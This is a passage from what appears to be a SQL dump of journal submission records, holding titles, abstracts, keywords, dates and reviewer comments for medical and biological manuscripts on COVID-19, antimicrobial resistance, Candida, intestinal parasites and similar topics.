spread rapidly in China, followed by an increasing number of cases in other Countries throughout the world with the estimated motility rate of 3-5%. The ongoing COVID-19 pandemic is currently not under control and evidence tells that both age and gender are important drivers of risk and response to infection and disease thus it is necessary to identify the risk populations with poor prognosis. This literature review will introduce a general overview on interaction of Coronavirus with different age groups and whether the host immunity is important in the control of viral infection in India.','Coronavirus, Pandemic, COVID-19, Immunity, age and gender.',3944,NULL,'2020-08-24',NULL,'Submitted',2,NULL,'2020-09-22',NULL,1,1,'1','accept',0,'1503','spandana_b@omicsgroup.co.in',NULL,0,0,0,NULL,0),(5921,7145,277,0,'ipadm-20-5921','Infección por SARS-CoV-2 en dos pacientes en tratamiento con adalimumab',NULL,2,0,NULL,'Con la aparición de la pandemia por SARS-CoV-2, existe incertidumbre acerca de si los agentes biológicos pueden colocar a los pacientes en un mayor riesgo de infección o un curso de la enfermedad más grave, ya sea del COVID-19 o de su patología de base. Este comentario ofrece recomendaciones de asesoramiento para pacientes basadas en la evidencia disponible actual. Si bien actualmente no hay datos específicos de pacientes infectados en tratamiento con biológicos, presentamos dos casos, que brindan información sobre esta situación. Concluimos que los agentes biológicos no tendrían un efecto negativo en esta población, ante la posible infección viral.','SARS-CoV-2, COVID-19, psoriasis, hidradenitis supurativa, biológicos, adalimumab',2805,NULL,'2020-08-24',NULL,'Submitted',2,NULL,'2020-10-22',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5922,7146,251,0,'ipacm-20-5922','behaviour tolerance against covid-19 ',NULL,8,0,NULL,'behaviour tolerance against covid-19 ','',3946,NULL,'2020-08-24',NULL,'Submitted',2,NULL,'2020-09-14',NULL,1,1,'1','Hypothesis is little short but the content within article is good. The current pandemic situation was expalined very well. I recommend it to publish.',0,'','',NULL,0,0,0,NULL,0),(5925,7150,45,0,'iphsj-20-5925','The effect of Cognitive-Behavioral Therapy on Reducing Anxiety in High School Students',NULL,14,2,NULL,'Measuring the academic achievement and identifying the factors that affect it are among the issues that have attracted the attention of psychologists. In this project, we intend to investigate the effect of group cognitive-behavioral therapy training on test anxiety in female students in the second year of high school in Shabestar city. Experimental Anxiety analyses as; Sarason\'s 37-question questionnaire,  Kolmogorov and Smirnov test, Wilkes-Lambda analysis , Toki test were used to determine the level of test anxiety in this study which is designed as yes or no questions Which is analyzed on 50 individuals (from high school girl students) with test anxiety disorders as the test group and the subjects will have a direct relationship with the sex, age, base, economic and social status of the test subjects, including 50 individuals. Based on this hypothesis, we want to perform our statistical population, which is the same as the study of stress (According to Sarason\'s 37-question questionnaire) levels among students, and the final result should be in accordance with this hypothesis. So, our project is on the subject of stress in female high school students on the issue of stress control in student exam sessions. According to all of analyzes performed in this project, which showed that the level of confidence was (p<0.005), so our studies in the stress test showed that the level of confidence obtained was higher than the above number and the proposed hypothesis was rejected. The distribution of our data is at a normal level.                                                                                                  ','Exam anxiety, Psychological problems',687,NULL,'2020-08-24',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(5948,7176,326,0,'IPJUS-20-5948','New Normal, Medical Training through 360 Virtual Reality – in times of COVID-19 & beyond',NULL,5,0,NULL,'Virtual Reality (VR) introduces instructions, procedures, & protocols that will be the new normal for medical training & education.','Medical Training, 360 Virtual Reality, COVID-19 & beyond, VR, 360 video',3103,NULL,'2020-08-25',NULL,'Submitted',2,NULL,'2020-11-03',NULL,1,1,'0','This article is now accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(5959,7190,326,0,'IPJUS-20-5959','FEEDBACK IN PROCEDURE BASED ASSESSMENT (PBA): Does it help Trainee Progression?',NULL,14,0,NULL,'Objectives \r\nTo investigate the impact of feedback as well as the attitudes and experiences of trainees and trainers regarding Procedure based assessment (PBA). \r\nMethods\r\nInitially, one focus group discussion followed by semi-structured interviews were conducted involving higher surgical trainees who are at different levels on their surgical training pathway across 3 United Kingdom (UK) deaneries. Secondly, PBA with audio/video adjuncts was introduced on a trial basis with the help of trainee participants, and these trainees were re-interviewed after they had used the new system. Two trainers were interviewed separately to collect their views on the assessment process, including the contemporaneous/real-time PBA. Individual audio interviews were transcribed, and thematic analysis was conducted after applying open/axial coding.\r\nResults\r\nThe study found that both trainers and trainees widely accept PBA as a valid and reliable tool for procedural assessment of surgical skills. The constructive feedback provided by the clinical supervisors/assessors was beneficial in identifying areas for further development and also helped trainees set future goals. Trainees were concerned about insufficient support from trainers for completing the PBAs, making the process a \'tick box\' exercise. Trainers particularly perceived that the PBA process enhanced their ability to assess surgical skills. To some extent, everyone found that PBA can drive surgical education progression when used for formative purposes. However, the educational value of PBA was more limited, when used as a summative tool to fulfill the number requirement of GMC/JCST. The lack of variation in PBAs available to different levels of training was a further limitation.\r\nConclusion\r\nBased on the responses received in this study, trainees benefit most, when they they are used for formative not summative purposes. Contemporaneous/real-time recording of feedback in Procedure based assessment (informal & formal) along with other existing assessment methods could be beneficial for Higher Surgical Training progression.\r\n','Surgical Training\r\nAssessment\r\nFeedback\r\nVideo Recording of procedures\r\n',2505,NULL,'2020-08-26',NULL,'Submitted',2,NULL,'2020-10-20',NULL,1,1,'0','This article is now accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(5960,7191,959,0,NULL,'ADVANCES IN DIAGNOSTICS IN LUNG CANCER',NULL,17,0,NULL,'Lung cancer remains the leading cause of cancer related deaths in most countries. Most (but not all) lung cancers are associated with tobacco smoking. Up until recent times, the diagnosis was in most cases based on histology and use of immunohistochemistry to classify lung epithelial tumors into small cell vs non- small cell (squamous and adeno) carcinomas. With the advent of better understanding of the biology of lung cancer, especially underlying oncogenic driver mutations, the hunt to develop targets to these mutations has increased manifold. This has led to the discovery of actionable mutations like EGFR, ALK and ROS-1. Current guidelines include testing for these driver mutations, aided primarily by clinical presentation and the histological subtype of tumor. There has also been a prominent focus on liquid biopsies in lung cancer given their innumerable advantages.    \r\nWe have thus witnessed a consequential change in the approach to treatment and survival of these patients. From an average survival of 2-4 months in 1990s, introduction of platinum-based combinations with third-generation agents and more specific cytotoxic drugs, significantly improved survival outcomes to 1-2 years. The newly developed targeted therapy in the appropriate patient population, may provide greater benefit than conventional chemotherapy and may further improve the survival rates in these patients. \r\n','Lung Cancer, immunohistochemistry , tobacco smoking,  EGFR, ALK and ROS-1, oncogenic, mutations',3162,NULL,'2020-08-27',NULL,'Submitted',4,NULL,'2020-08-27',NULL,1,0,'0',NULL,0,'1348','priyanka_kura@omicsgroup.co.in',1,0,0,0,NULL,0),(5962,7193,251,0,'ipacm-20-5962','Comparative antibacterial potency of Pongamia pinnata (L.) normal leaves, gall removed leaves and galls; Evaluating the bio-augmentative antimicrobial efficacy of gall extracts with lemongrass oil formulation against selected bacterial strains',NULL,14,0,NULL,'The present study was conducted to evaluate the antimicrobial activity of Pongamia pinnata (L.) with ethanol and aqueous extract of normal leaves, gall removed leaves and galls. They were tested against five-gram negative human pathogenic bacterial strains; all strains have unique antimicrobial resistance and pathogenic properties. Among the different extracts used, ethanolic gall extract was found to be more active against the selected bacterial strains. Ethanolic gall extract of P. pinnata exhibited significant antibacterial activity against Shigella flexneri, Vibrio cholerae, and Klebsiella pneumonia and it shows only inhibitory impacts on Salmonella enterica and Pseudomonas aeruginosa. Antimicrobial efficacy of aqueous plant extract shows infrequent antimicrobial activities. Most extracts inhibit the normal physiological activity of bacterial strains. Among the three aqueous extracts, gall removed leaf extract shows highest activity. By using the ethanolic gall extracts with lemon grass oil, it was found to produce high antimicrobial effects compared to normal state. The vibrational bio-spectrum evaluation proved that the existence of conjugation of lemon grass oil molecule with ethanolic gall extracts molecules. We also documented the biological activity of GCMS identified drugs of ethanolic gall extracts by using PASS server (insilico approach). Several molecules exhibited different spectrum of biological activities. By using the plant parts, especially galls for the preparation of antibacterial agents not only help to control pathogenic strains of bacteria, but also help to reduce the wastage of P. pinnata leaves, when used for ayurvedic preparations and also help to reduce the dependence on synthetic antimicrobial drugs.','Antibacterial activity; gram-negative strains; plant extracts; Pongamia pinnata, leaf gall; bioaugmentation; microtitre plate bioassay.',777,NULL,'2020-08-27',NULL,'Submitted',4,NULL,'2020-10-06',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(5989,7218,73,0,'ipjnn-20-5989','Pediatric RCVS in Newly Diagnosed ALL Treated with Intra-Arterial Nicardipine',NULL,2,0,NULL,'BACKGROUND: Reversible Cerebral Vasoconstriction Syndrome (RCVS) is an uncommon cause of severe headache and other complications in the pediatric population. Diagnosis includes obtaining vessel imaging to confirm vasospasm in the cerebral vasculature. Therapy oftentimes requires calcium channel blockers administered through an intra-arterial approach. Resolution of symptoms and vasospasm are expected at approximately 3 months.\r\n\r\nCASE DESCRIPTION: We report a case of RCVS in a 3-year-old male who was admitted to the pediatric ICU with newly diagnosed Acute Lymphoblastic Leukemia (ALL). Hospital course was complicated by acute neurologic decline and evidence of severe cerebral vasospasm resulting in multiple ischemic strokes. Course of treatment required hospital transfer for intra-arterial calcium channel blocker therapy, with eventual resolution of cerebrovascular constriction and improvement in clinical exam.\r\n\r\nCONCLUSION: When pediatric patients develop acute onset severe headaches, consideration of a broad differential diagnosis is important, and recognition of RCVS early in the hospital course can profoundly alter management and treatment options.','Reversible Cerebral Vasoconstriction Syndrome; Childhood Stroke; Acute Lymphoblastic Leukemia',338,NULL,'2020-08-29',NULL,'Submitted',1,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5994,7224,86,0,'ipaom-20-5994','Covid 19 – Preparedness to face the dominant biology',NULL,17,0,NULL,'Covid-19, the threatening pandemic is consuming lives each day. The dominant biology took an edge over the humans by mere survival for billion years.A vast number of drugs in the current market are plant based derivatives.Plant based vaccines and research are hardly any that turned our attention. Studies on antiviral immune mechanisms of plants need to be geared up. Complexities exist in plant based vaccine preparation, but it’s never a pipe dream.','Dominant biology; COVID 19; plant based vaccines;Antiviral drugs; Immune mechanisms; plant -viral interactions',3386,NULL,'2020-08-30',NULL,'Submitted',2,NULL,'2020-10-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6013,7242,86,0,'ipaom-20-6013','Rapid evolvement of De Winter waves into ST elevation myocardial infarction: case report',NULL,2,0,NULL,'De Winter\'s T-waves is a rarely reported electrocardiogram (ECG) pattern requiring watchful eyes to recognize it. It was described as static sign until coronary reperfusion . This pattern was on average recorded 1.5 hours after symptom onset . It was considered as a ST-elevated myocardial infarction (STEMI) equivalent pattern . We report a dynamic De Winter pattern who attended one hour of the onset of chest pain with rapid ECG changes before reperfusion.','De Winter sign, Electrocardiography, Myocardial Infarction, Thrombolytic Therapy, Myocardial Reperfusion Injury',410,NULL,'2020-09-01',NULL,'Submitted',2,NULL,'2020-10-03',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6017,7247,45,0,'iphsj-20-6017','Factors affecting Postnatal care utilization in Bahir Dar Zuria district, Northwest Ethiopia, 2019: a community based cross-sectional study',NULL,14,2,NULL,'Abstract\r\nBackground: The days and weeks following childbirth – the postnatal period – is a critical phase in the lives of mothers and newborn babies. But in low and middle income countries, postnatal care utilization is still low and maternal and neonatal mortality is high. Therefore, the aim of this study was to assess postnatal care service utilization and associated factors among mothers in Bahir Dar Zuria district, Northwest Ethiopia, 2019. \r\nMethods: A Community based quantitative cross-sectional study was conducted from December 1, 2018 to January 30, 2019 among 708 women who gave birth six months prior to the data collection. Multistage sampling was used to select study participants. Pre-tested semi-structured questionnaire was used to collect data. The data were entered in EPI info version 3.5.1 and analyzed using SPSS version 20.0. Adjusted Odds ratio with 95 % confidence interval was computed to identify the relative association of explanatory variables on postnatal care service utilization.\r\nResults: The study revealed that the prevalence of postnatal care service utilizations was 35.6%, (95% CI: 31.90, 39.30). Being involved in women’s health development army (AOR=11.3, 95% CI: 6.41, 19.79), being graduated in health extension packages (AOR=5.1, 95%: 2.88, 8.87), history of antenatal care visits (AOR=6.8, 95% CI: 3.26, 14.27), institutional delivery (AOR=3.3, 95% CI: 1.92, 5.68), giving still birth (AOR=0.22, 95% CI: 0.1, 0.5), and good knowledge on postnatal care (AOR=16.7, 95%: 9.08, 30.86) showed statistical significant association. \r\nConclusions: Postnatal care utilization in the study area is lower than what is planned to achieve in the Ethiopia growth and transformation plan two. Therefore, increasing women involvement in the health development army and increasing coverage of health extension packages graduated households are recommended to improve postnatal care utilization.\r\n','Postnatal care and utilization',3202,NULL,'2020-09-01',NULL,'Submitted',19,NULL,'2020-09-15',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6025,7254,251,0,'ipacm-20-6025','Prevalence and antimicrobial resistance patterns of Shigellain Ethiopia from 2000 to 2018: A review.',NULL,15,0,NULL,'Shigella is a non-motile, rod shaped, nonspore forming, and non-lactose fermenting facultative anaerobic Gram-negative bacterium that causes bacillary dysentery or also known as shigellosis. It is endemic throughout the world and it is among the most common causes of bacterial diarrheal diseases. Globally, it is estimated that shigellosis causes about 1,100,000 deaths per year, two-thirds of the patients being children under 5 years of age.The disease is transmitted faeco-orally, the commonest modes being person-to-person contact and contaminated food and water. It is a disease of overcrowding, insanitary conditions and poor personal hygiene, and affects mostly children of developing countries like Ethiopia.The treatment of shigellosis has currently become more challenging due to the emergence of drug resistant species and associated with a variety of biological, pharmacological and societal variables with the worst combinations in low and middle income countries. Multidrug-resistant Shigella significantly varies from area to area of the world in relation with the practice of widespread use of antimicrobial agents.There is an increasing burden of Shigella infection and Shigella is becoming resistance to the commonly prescribed antimicrobial drugs in Ethiopia like chloramphenicol, Amoxicillin and tetracycline. Therefore, initiating and scale up of performing drug susceptibility test for each shigellosis case, awareness creation and community education is needed.','Shigella, Ethiopia, Antimicrobial resistance, Community',3944,NULL,'2020-09-02',NULL,'Submitted',4,NULL,'2020-09-28',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6026,7257,251,0,'ipacm-20-6026','MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients',NULL,14,0,NULL,'The incidence of Candida species, the genetic diversity and the hydrolytic exoenzyme characteristics of C. albicans and C. dubliniensis clinical isolates from patients diagnosed with diabetes mellitus under glycemic clinical control were assessed. Clinical samples were collected from the oral cavity and the isolation and identification of Candida species were performed by microbiological methods. The genetic diversity of clinical isolates was established using isoenzyme markers (MLEE), Nei’s statistics, and clustering analysis. The virulence of oral isolates was evaluated by the in vitro production tests of aspartyl proteinases (SAPs) and phospholipases (PLs). The oral colonization incidence by the Candida species went by the order of 83.3%. A high prevalence of the C. albicans (70.4%) among the species found (C. tropicalis, C. krusei, C. dubliniensis and Candida sp.). A total of 84 electrophoretic types (ETs; 43.1%) was observed in the population of clinical isolates. Genetic relationship analyses showed 18 clusters (I to XVIII) and 7 taxa (A to G). The SAPs expressions was detected in all of the clinical isolates, while the PLs expressions occurred in the majority one (C. albicans: 92.6%; C. dubliniensis: 66.7%). The results showed a high prevalence of the Candida species, particularly the genetically diversified and potentially virulent C. albicans strains, in the oral cavity of diabetic patients with glucose level controlled and without oral candidiasis clinical manifestations.','Candida species; Diabetes mellitus; Oral cavity; Genetic diversity; Virulence.',782,NULL,'2020-09-03',NULL,'Submitted',2,NULL,'2020-09-30',NULL,1,1,'0','Thank you for providing opportunity to review the manuscript entitled MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients. Abstract is very clear within the word limit in clear and concise manner which can be easily comprehended. Good number subjects are considered for the study with both males and females are appreciated. Significant method is used Oral colonization by Candida species, Genetic diversity analysis and Virulence profile in vitro (SAPs and PLs). Results indicated a high predominance of the Candida species, especially the hereditarily differentiated and possibly harmful C. albicans strains, in the oral hole of diabetic patients with glucose level controlled and without oral candidiasis clinical indications. Manuscript is recommended to publish.',0,'','',NULL,0,0,0,NULL,0),(6035,7269,959,0,'ipacr-20-6035',' Prospects for Chimeric Antigen Receptor T-Cell Therapy in the Treatment of Glioblastoma Multiforme: A Review of the Literature ',NULL,15,0,NULL,'Genetically modified autologous T-cells for the expression of chimeric antigen receptors (CARs) have brought attention to the dawn of a novel era of cancer immunotherapy due to the potential shown by the yield of monumental clinical outcomes in past studies. Impressive clinical responses found with CAR T-cell therapy for hematologic malignancies has led to the investigation of CAR T-cells in solid tumors, although the attainment of similar results with such malignancies has been challenging to date. Despite some progress over the past decade, Glioblastoma Multiforme (GBM) continues to present as a particularly challenging malignancy for treatment and the prognosis remains poor for a vast majority of patients. However, recent data shows supporting evidence of the safety and clinical efficacy of CAR T-cell therapy use in treating GBM. This review will discuss the challenges commonly associated with treating GBM and new strategies by which CAR T-cells can overcome such barriers. In addition, emergence of recently conceived techniques for optimizing CAR T-cell therapy in GBM will be addressed to highlight the prospective promise of this novel immunotherapy.','glioblastoma multiforme, chimeric antigen receptor, neoantigen, tumor microenvironment, tumor mutational burden, blood-brain-barrier, ',3216,NULL,'2020-09-03',NULL,'Submitted',4,NULL,'2020-09-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6041,7275,975,0,'ipjbs-20-6041','Prevalence of Intestinal Parasites in Raw Edible Vegetables in Wad Medani Central Market, Geizra State, Sudan',NULL,14,0,NULL,'This study aimed to detect the prevalence of intestinal parasites in raw edible vegetables in Wad madani central vegetables market, the study was conducted from May to August 2018. A total of 90 samples of seven raw edible vegetables were selected and examined using formal ethyl acetate concentration technique, zinc sulphate flotation technique and modified cold ZN stain, these vegetables were garden rocket, snake cucumber, carrot, lettuce, green onion, green pepper and tomato, the overall contamination was 27.7% and contamination rate for each vegetable 45%, 33.3%, 30%, 40%, 27.3%, 8.3% and 0% respectively, vegetables were categorized to leafy, pealed and others, the rate of contamination for each category was 52%, 44% and 4% respectively. Also some vegetables samples were taken before and some samples after distribution in the market by the local sellers, vegetables before distribution show 16.16% contamination and after distribution show 36.36% contamination. The parasites detected was G.lamblia cyst, E.histolytica cyst, E.coli cyst, Taenia species egg and H.nana egg, the prevalence of these parasites were 48%, 16%, 12%,12% and 12% respectively, 11(44%) of the parasites was detected by formal ethyl acetate concentration technique and 14 (56%) by zinc sulphate flotation concentration technique. There is no oocyst of C.parvum or I.belli detected using ZN stain. This study concluded that there is high contamination of vegetables by intestinal parasites suggesting a great risk of acquiring intestinal parasitic infection by eating  improperly washed vegetables.','Intestinal parasites, Raw vegetables, Fresh vegetables, vegetables contamination. ',3460,NULL,'2020-09-04',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'1','can publish',0,'','',NULL,0,0,0,NULL,0),(6043,7277,91,0,'ijddr-20-6043','Sustained Release Nail Lacquer Formulation Containing Combination of Luliconazole and Methyl Salicylate for the Treatment of Onychomycosis',NULL,14,2,NULL,'Onychomycosis is a fungal infection of the fingernails or toenails that causes discoloration, thickening, and separation from the nail bed. It affects the general population but is more common in older adults, children and immunocompromised patients. The present study was aimed towards designing and formulating medicated nail lacquer of recently approved drug Luliconazole to control onychomycosis condition. The work involved combination of antifungal agent luliconazole with a well-established anti-inflammatory agent methyl salicylate. Simple mixing method was used for preparing nail lacquer solution. Polymers such as ethyl cellulose and Eudragit RS100 were used to sustain the drug release upto 72 hours, thereby reducing the frequency of application to twice a week. The infection is associated with pain and inflammation around the nail along with foul smell. Hence addition of methyl salicylate in the formulation will help to mask the foul odour along with anti-inflammatory effect to improve the patient compliance and acceptability. Also, it will act as a permeation enhancer there by will increase drug permeation across the nail bed. The formulation was optimized on the basis of drying time, non-volatile content, drug content, drug diffusion across artificial membrane and hooves membrane and antimicrobial studies. The optimized formulation showed a drug release of 94% in 72 hours, optimum viscosity of about 152cP and drying time of 83 seconds. Thus, the nail lacquer of luliconazole was successfully developed which can serve as a promising alternative to ameliorate patient compliance.','Luliconazole; methyl salicylate; sustained release; nail lacquer; Onychomycosis',2427,NULL,'2020-09-04',NULL,'Submitted',19,NULL,'2020-12-16',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(6046,7281,73,0,'ipjnn-20-6046','Functional Independence of bilateral above knee amputee with stubbies prosthesis',NULL,2,0,NULL,'There 31patient of Complete 10,11,12 Thoracic level injury came to jaya rehabilitation institute and research center underwent physiotherapy, occupational therapy,fuctional training and public utility training. After compensatory rehabilitation, patient shows significant improvement in their activity of daily living. Now patients are independent in their activities of daily living.','Complete Spinal Cord Injury,D10-D11-D12,Spinal Cord Injury Measures(SCIM) and  Walking Index  Spinal Cord Injury ( WISCI II),Institutional Rehabilitation, Public Utility Services Training',341,NULL,'2020-09-05',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6049,7283,251,0,'ipacm-20-6049','parechovirus and enteroviruses among young neonates with sepsis ',NULL,14,0,NULL,'Abstract\r\nHuman parechoviruses (HPeV) and Human enteroviruses (EV) are frequently  cause neonatal sepsis-like disease in young infants (younger than three months). Therefore this study was conducted to determine the frequency of  HPeV and EV among the young infants with clinical signs and symptoms of sepsis in Ahvaz city ,Iran \r\nMethods\r\nThe blood specimens were collected from 100 (younger than 90 days hospitalized neonates including 54 (56.25%) males and 46 (43.75%) females with clinical signs \r\nand symptoms of sepsis-like symptoms. The RNA was extracted and tested for detection of  VP1 region of HPeV  and 5 UTR( Untranslated Region) of EV by RT-PCR. The sequences of positive of HPeV  were further analyzed to determine  HPeV  and EV genotyping.  \r\nResults:\r\n5/100 (5%) of patients including 2/46(2%) females and 3/54(3%) males tested positive for HPeV (P=0.85). The analysis of 5 positive VP1 region of HPeV revealed the genotype 1. The analysis of sequencing and phylogenetic tree  revealed that isolated HPeV was genotype1. While 38/100 (38%) specimens including 16 (16%) females and 22 (22%) males tested positive for EV (P=0.68) .  \r\nConclusion \r\nThe frequency of  HPeV genotype 1 was 5% among the young neonates with sepsis. While frequency of EV was 38 % among the young neonates with sepsis.  This study shows HPeV genotype 1 and EV are dominant in this region. \r\n','Sepsis; parechovirus; Enterovirus; Nested PCR ',778,NULL,'2020-09-06',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6050,7254,251,0,'ipacm-20-6050','Antimicrobial resistance patterns of Salmonella in Ethiopia since 2009/2010: A review',NULL,15,0,NULL,'Salmonella is one of the major and importantfoodborne pathogens of humans and animals causing salmonellosis, whichhave great medical and economical cost. Infections with Salmonella in food-producing animals present a serious public health concern, because food products of animal origin are considered to be a significant source of human infection. Most common sources of infection are eggs and related products, and meat from poultry and other food animal species. Milk and dairy products have also been associated with outbreaks of salmonellosis in people.Studies indicated the widespread occurrence of antimicrobial resistanceinEthiopia. The emergence and persistence of antimicrobial resistance is driven by varied factors including the indiscriminate use of antibiotics and variable drug efficacy and presents a major threat to the control of infectious diseases.In recent years, since the rate at which resistance occurs has outpaced the development of new drug replacements, it has become necessary to use the currently available agents, optimally and appropriately.Therefore, developing strategies in order to minimize the expansion of antimicrobial resistance is critically important for protecting both public and animal health. Collaboration involving the public, the public health, animal health, and animal agriculture communities on the development and implementation of such strategies is needed.','Salmonella, Ethiopia, Antimicrobial resistance, Public health',783,NULL,'2020-09-06',NULL,'Submitted',4,NULL,'2022-09-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6051,7254,251,0,'ipacm-20-6051','A Review on Knowledge, Attitude, and Practice during the COVID-19 Pandemic in Ethiopia',NULL,15,0,NULL,'World Health Organization declared the novel coronavirus as a global public health emergency on January 30, 2020. COVID-19 has infected more than 17,660,523 people worldwide, with more than 680,894 deaths in different regions and countries. Based on the World Health Organization (WHO) Africa report, as of 02 August, 2020, a cumulative total of 802,792 confirmed COVID-19 cases with 13,779 deaths have been reported across all African countries in the region. In Ethiopia the virus spreads alarmingly because the community didn’t practice the information given by Ministry of Health and the Government; as of August 2, 2020, 17,999 cases and 284 deaths. The level of panic in peoples is associated with knowledge and attitude according to Researchers. Good Knowledge, Attitude and Practice can be used to assess the current conditions and if it is used properly it plays a pivotal role to control the spread of COVID-19. Therefore, the government and ministry of health must give information to the society through TV, radio and social media repeatedly. So, the aim of the current study was to assess/review the knowledge, attitude and perception of the population towards COVID-19 pandemic in Ethiopia.','Ethiopia, practice, COVID-19, pandemic',3946,NULL,'2020-09-06',NULL,'Submitted',4,NULL,'2021-02-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6058,7291,975,0,'ipjbs-20-6058','IL-6: the best marker for predicting Covid-19 disease severity',NULL,19,0,NULL,' SARS CoV-2 has killed more than 60000 people in India alone till September 2020 and caused severe burden on health infrastructure of the country. There is a need for early and accurate predictors of severe infection at the early stage so that people can be triaged. Covid-19 presents with an array of symptoms ranging from asymptomatic to mild cough and cold to high grade fever and difficulty in breathing. There are many cases in which mild cases progressed to life threatening condition in a matter of a couple of hours. So, there is a need for a marker that can predict severity of the disease. Cytokines are synthesised in the body during infection and they can be used to predict severity of Covid-19 infection. In our study we are trying to prove IL-6 and IL-10 to be ideal candidates for prediction of Covid-19 disease severity.',' Covid-19, SARS CoV-2, Cytokines, IL-6, IL-10',3677,NULL,'2020-09-07',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'0','Publish',0,'','',NULL,0,0,0,NULL,0),(6064,7295,639,0,'ipfs-20-6064','Contribution to the study of growth of Luciobarbus mascarensis (teleostei: cyprinidae) in two freshwater systems in western Algeria',NULL,14,0,NULL,'Luciobarbus mascarensis (Brahimi et al; 2017) is a Cyprinidae endemic fish of the Macta basin, widely distributed in the region of Mascara, Sidi Bellabes and Saida. This study describes the population structure and biometric relationships such as the weight-length relationship and the condition index (K), of this native species in two different freshwater systems: oued El hammam located on the flank north of the high Oran plains and the Bouhanifia dam located in the north-west of Algeria about 100 km south of Oran and 25 km from Mascara. 116 specimens were fished in the two freshwater systems during the period from November 2017 to September 2019. For each individual, the total (Lt) and standard (Ls) lengths were measured. The total individual body weight (Wt) was taken using an electronic scale. The results showed a positive allometric growth for the Luciobarbus mascarensis which lives in a natural environment (Oued) and a negative allometry for that which lives in an artificial environment (Dam). In addition, it appears in our sampling that the largest fish is a female which weighs 728.2g and a length of 423 mm this one, was captured in the wadi however in the dam, the maximum length recorded for this species is 342mm against a maximum weight of 460.3g\r\nOur results would seem useful for the management and conservation of this native species in the different hydrosystems of western Algeria.\r\n','Luciobarbus Mascarensis, condition factor, allometry, oued el hammam, bouhanifia dam, western Algeria',1776,NULL,'2020-09-07',NULL,'Submitted',2,NULL,'2020-09-28',NULL,1,1,'1','I accept to publish this article in our journal.',0,'','',NULL,0,0,0,NULL,0),(6065,7296,73,0,'ipjnn-20-6065','Behavioural Neuroscience or Psychology. What\'s in a Name?',NULL,12,0,NULL,'ABSTRACT\r\nGiven the position articulated in this article, it is apparent that the need to replace the word “psychology” as a label of the discipline with the more appropriate “behavioural neuroscience” is long overdue. Reading through the argument herein, the conceptual and practical justification for the call for alignment of the vocabulary of the discipline with the reality of the attendant professional reality becomes self-evident. \r\nThe word psychology originates from the ancient Greek word psyche, which means mind or soul. Concepts of soul and mind are central in the fields of philosophy and theology. The concept of mind, however, continues to define psychology, a health profession, which specializes in the scientific study of human and animal behaviour. This anomaly is attributable to the pervasive influence of the unproven and outdated philosophy of mind-body dualism. This philosophy states that two substances comprise humans, a material body and an immaterial mind, which are exact opposites of each other. There are several philosophical positions which articulate how these two substances relate to each other. The most influential position appears to be that of Rene Descartes, which states that the two substances can influence each other. In this paper, we call attention to the harm that accrues from continuing to use language and vocabulary, such as the word “psychology” itself, which suggest an acceptance of mind-body dualism. We argue that transformation and innovation in psychology requires a complete break from centuries-old misconceptions about the dualism between the mind and body. We propose a change of vocabulary, starting with the replacement of the name “psychology” with “behavioural neuroscience”. The proposed new name emphasizes the reality that what is currently termed psychology is a health profession, on par with, and built upon, the same foundation as, other health professions. There is as much need to change the language associated with psychology as there was a need in the past, to change the language that supported unacceptable social practices, such as racism and gender discrimination. The change in vocabulary will necessitate changes to the training of psychologists, which will broaden their scope of practice within the realm of health professions. As the scope of psychology broadens, the underserved populations in South Africa will gain better access to innovative psychological services in the spheres of health, education and industry.\r\n','Neuroscience. Psychology. Behavioural neuroscience. Mind-body dualism. Health practitioner. ',327,NULL,'2020-09-07',NULL,'Submitted',4,NULL,'2020-11-12',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6067,7298,86,0,'ipaom-20-6067','Role of ultra-low dose chest CT and chest radiography for the management of Coronavirus Disease 2019 (COVID-19) in the emergency setting',NULL,14,0,NULL,'Objectives. To determine the role of ultra-low dose chest CT compared to chest radiographs in patients with laboratory-confirmed SARS-CoV-2.\r\nMethods. Chest radiographs and uldCT of 12 consecutive patients performed up to 48 hours from hospital admission were reviewed by 2 radiologists. Dosimetry and descriptive statistics of both modalities were analyzed.\r\nResults. On uldCT, parenchymal abnormalities compatible with SARS-CoV-2 pneumonia were detected in 10/12 (83%) patients whereas on chest x-ray in 8/12 (66 %) and 5/12 (41%) for reader 1 and 2. \r\nThe average increment of diagnostic performance of uldCT was 29% higher than chest x-ray. The average effective dose was respectively of 0.219 and 0.073 mSv.\r\nConclusions.  UldCT detects a substantially larger burden of inflammatory changes in symptomatic patients with suspected SARS-CoV-2 pneumonia compared to chest radiographs at the cost of a slightly higher equivalent radiation dose. It could be used as the first imaging method in an emergency department.\r\n','Chest CT; computed tomography; COVID-19; dose optimization.',3888,NULL,'2020-09-08',NULL,'Submitted',2,NULL,'2020-10-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6069,7300,251,0,'ipacm-20-6069','Optimized development, characterization and antimicrobial evaluation of bioactive prodigiosin potentials from Cephalosporin resistant Serratia marcescens ',NULL,14,0,NULL,'Optimized development, characterization and antimicrobial evaluation of bioactive prodigiosin potentials from Cephalosporin resistant 